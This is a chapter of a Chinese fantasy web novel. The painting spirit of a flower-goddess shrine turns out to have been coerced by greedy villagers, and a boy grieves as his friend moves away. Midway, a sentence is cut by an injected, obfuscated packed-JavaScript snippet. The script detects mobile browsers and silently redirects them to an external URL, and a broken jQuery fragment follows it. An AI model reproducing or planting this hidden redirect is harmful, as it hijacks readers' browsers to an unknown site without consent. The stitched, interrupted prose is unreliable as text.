18. 句芒花神(六)

作品:《长生?不如卖花!

    “什么?”


    听到这话,萱草画灵蓦地转过头来,脸色一瞬间变得苍白。


    “还是我来说吧。”


    花月与画灵比较熟悉,说出这些话也许能更容易让其接受。


    她从萱萱阿爹的死开始,将这几日发生的事情说得清楚明白。


    这一次,萱草画灵彻底变了脸色。


    她被玉河村人挟持不错,但是这两年来明明一直满足他们的愿望都是一些求财求利的寻常事情。


    她没有想到,竟然有人因此丧命。


    周遭萱草花疯长,画灵周身藤蔓缠绕,俨然是动了杀意。


    花月眨了眨眼,伸手召唤出自己的大锤子。


    不管怎么样,先揍一顿再说。


    原本以为一画灵一异人出手一同收拾几个普通人不是难事,但事实有些令人惊讶。


    玉河村的人取出一个和花神娘娘庙里那个一模一样的香炉,其上灵光淡淡,却莫名的让花月和萱草画灵的攻击都落了空。


    “怎么这么多神器?”


    一道柔和却无奈的声音响起,花月身上的烛阴鳞片灵光一闪,花枝带着花子洛出现在了山洞里。


    他们在周萱萱说要来找山洞的时候就一直留意这边。


    花子洛的想法和萱萱是一致的,他也觉得这其中必定有些异常。


    只是玉河村的人看他们看得严,要是他们来了这里必定会引起警惕,很可能会竹篮打水一场空。


    所以花枝和花子洛表面上一直在玉河村中调查问话,暗地里通过烛阴鳞片上的符文暗暗关注着这边。


    烛阴鳞片慢悠悠地飘到花枝身边,气定神闲地坐在了花枝发间。


    这次花枝甚至都没有动用千秋笔,只是用手指在虚空中画了一个四四方方的笼子,就轻松地将那香炉禁锢起来,收到自己身边。


    “这香炉我先拿着,等回去后我会和小蓝鹊讲的。”


    她看向花子洛,晃了晃手里的香炉。


    花子洛自然不会阻拦,他前些天问世书的权限又放开了些,知道了更多关于这位前辈的信息。


    而另一边,萱草画灵看着花枝,委委屈屈地走上前。


    “娘亲——”


    唐六宝和周萱萱大惊,目瞪口呆地看着扯着花枝衣袖的萱草画灵。


    金红衣裙的小姑娘眼泪汪汪的,好像受了天大的委屈。


    她确实也受了天大的委屈。


    她由花枝一手创造,即使在千秋画境破碎后想出来看看,也是有好好和花枝告别的。对于她来讲,花枝就是她的阿娘。


    严格来讲,目前世上的所有画灵都是花枝创造的,她可以说是所有画灵的母亲。


    现如今孩子在外面受了委屈,创造她的阿娘与此,难免有些忍不住眼泪。


    花枝摸了摸小童的头发,眸光温柔:“这不怪你。”


    根本原因还是玉河村的人贪得无厌。


    花子洛刚刚没闲着,使了些手段,从村民的求饶声中把事情了解了个大概。


    她也听了全部。


    最开始玉河村里的人盖花神娘娘庙,确实只是因为对萱草画灵的感激。


    毕竟句芒山中野兽众多,萱草画灵没少帮助村中百姓。


    只是一日日的过去,随着萱草画灵的名气远扬,花神娘娘庙的香火一日胜过一日,村民们就起了歹心。


    他们想利用花神娘娘得到更多的香火钱。


    但是萱草画灵并不愿意啊,她虽说有着实现愿望的能力,但终究是有限的,用来改善村民的生活还好,满足某些人的骇人野望根本不可能做到。


    更何况她是从一副“孩童扑蝶图”中衍生出来的,她喜爱的也只有孩子们的纯净心灵,凭什么无休无止地满足那些肮脏的欲望?


    别说花神娘娘庙里的香火,那些香火不过人类的一厢情愿,对她压根没用


    她不愿意,可是村民们也不想放弃这棵摇钱树。


    他们不知道从哪里来得秘法,把花神娘娘困在了山洞里,拿孩子们威胁她。


    花神娘娘力量温和,不能够满足他们的欲望,他们就又不知道从哪里获得了那个香炉。


    他们用香炉收集香火与孩童们的生机,源源不断输送到萱草画灵的身体里,让萱草画灵为他们实现一些愿望。


    那些愿望虽然充满了贪欲,但是并不损人性命,所以萱萱为了那些孩子的安危,基本上都答应了。


    之后,村民们又利用香炉,将画灵实现的那些愿望进行“歪曲”,比如原本这个愿望是与女子求夫婿有关,但是歪曲后,这女子求得的可能就是阴间的夫婿。


    借此,他们与许多官员和富商有了勾结,首鼠两端,害了不少无辜之人。


    也是因为这个,周萱萱阿爹的事情才会那么草率地被官府结案。


    一切事情明了后,涤邪堂中人收尾,萱草画灵暂且跟着花枝几人回洛京。


    她和花枝姐妹二人与唐六宝周萱萱是一同坐驴车离开的。


    驴车摇摇晃晃地往前走着,天空中下起了朦胧的小雨,将一片新绿衬得柔和。


    快要清明了。


    萱草花灵走到周萱萱面前:“你阿爹的事情因我而起,我很抱歉。”


    她们已经调查清楚了,萱萱她爹是无意中听到了村长和他人的对话,才被玉河村的村民害死的。


    萱萱摇摇头:“这不能怪你。”


    “我记得你阿爹,他来许愿的时候我还没有被玉河村的人控制。”


    “我阿爹?”


    “你想知道他许的什么愿望吗?”


    “是不想在赌博吧?阿爹那次回来后就不再赌博了。”


    “不是。”萱草画灵抱着膝盖缩成小小一团,色彩鲜艳的衣衫在如烟细雨中显得格外温暖,“他许愿要做一个好父亲。”


    一个好父亲是不会去赌博的,也不会让妻子和女儿们为其担忧。


    “他一直是一个好父亲。”


    另一边,花子洛拿着那个小香炉请花枝帮忙。


    “花神娘娘庙里的香炉是这个香炉的分身。”


    花枝停了一下,接着说道。


    “那个给他们香炉的人好好查查,这香炉原本的器灵消散了,又被邪祟入侵,才会成了这般邪物。”


    *


    萱草画灵并没有一直待在洛京。


    她在扶疏花铺在花枝为她创造的新画境中修养了几天后,就又让涤邪堂的人把她送回了万径山。


    她倒也挺想和花枝待在一起的,但是花枝在洛京城里做生意,难免要和人打交道。


    但是她有点恐人。


    萱草画灵倒也不至于真因为玉河村的事情就痛恨所有人类,也不至于不敢再和人类打交道。只是她心里还是留下了点阴影。


    千秋画境破碎了,她是回不去了,但是万径山中还有许多熟悉的妖和画灵,她们和花枝的宅子也藏在山林里,不用常常与他人打交道。


    送走了萱草画灵萱萱,人类周萱萱也准备离开洛京了。


    在离开洛京前,由花月和唐六宝组织的送别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374842|168290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宴在沈家食肆开办过后,几人一同把周萱萱和她阿娘送到了伊水畔。


    伊水畔边,垂柳依依,春风柔和吹过女孩的发梢裙角。


    周萱萱好像又消瘦了点,但也长高了点,神情比一般小孩儿更加坚韧,并没有因为要离开自幼长大的家乡而显出柔弱姿态,反而多了些朝气和锐意。


    倒是唐六宝眼里包了泪。


    他从来没有经历过分别,他只知道明日后日还有大后日,萱萱都不能陪他一起玩了。


    他和萱萱一起长大,从来没有和萱萱分开超过三天。


    他知道分别是一件令人难过的事情,但却不知道有时候离别还意味着从此山高水远,不知野草需得枯荣多少个春秋,才能与想见的人再见一面。


    也许再也不能见。


    “萱萱,你要早些回来。”


    唐六宝把藏在背后的一大把萱草花塞给周萱萱,期盼地看着她。


    萱草花开得热烈,周萱萱抱紧花,却是摇了摇头:“我这次回家乡,怕是很久都不能回来了。”


    “没关系,我会一直等你回来的!”


    “那要等好久。”


    “明年上巳节怎么样?等明年上巳节我们一起去洛水畔踏青!”


    “恐怕不行。”


    周萱萱吞下哽咽,摇了摇头。


    “两三年有些长了……但我不会忘记你的!”


    “唐六宝,不是这样的。”要强的小姑娘忍着眼泪,打断小伙伴的话,“从这里到扬州,要足足走两个多月,我阿娘要带我回去长住,怕是永远都不会回来了。”


    永远!这两个字如同晴天霹雳一样,让唐六宝怔在了原地。


    一直到周萱萱跟着她娘亲走了好远,他们一行人都回了熙春路,花月才发现唐六宝的不对劲。


    “喂,你怎么了?”


    不问还好,这一问让原本出神的唐六宝突然大哭起来。


    “萱萱……嗝……萱萱她走了!”


    “她,她再也不回来了呜哇哇哇哇。”


    惊人的大哭声招来了扶疏和沈家食肆的老板娘,听着小胖子结结巴巴地说完前因后果,花枝温柔一笑,递过一杯蜂蜜水。


    “她不能来找你,你可以去找她啊。”花月歪着头,一脸天真地发问。


    “可是扬州太远了,萱萱说要走三个月,阿爹不会带我去的。”


    “那等你长大,自己去找萱萱。”沈穗儿也凑过来出主意。


    “可是等我长大还要好多年。”


    “不用很多年,你现在八岁,最多再过十年。”花枝笑眯眯地纠正。


    “可是十年就很多年啊!我才活了八年!”


    “可是你能活到一百岁啊,你等十年,等到长大了去找她,然后那时候你才十八岁,你可以和她在一起玩……”花月掰着指头细细一算,“你们可以在一起七十二年!”


    “算错了,是八十二年。”花枝出口纠正。


    “哦哦,对,你们可以在一起八十二年!”


    “可是中间这十年怎么办,谁陪我一起用泥巴盖房子,谁陪我一起用树叶做饭,谁陪我一起摘野花,谁给我编草蚱蜢……等到上巳节,别的小娘子都有人送花,萱萱没有该多难过啊。”


    “正是因为等待漫长难熬,重逢才显得格外珍贵。”


    花枝轻轻说着,眼睑微垂,目光流转似水波,明净若长空。


    还能够重逢已经是一件很幸运的事情了。


    她伸手摸上佩戴在脖子上的烛阴鳞片,神色暗淡。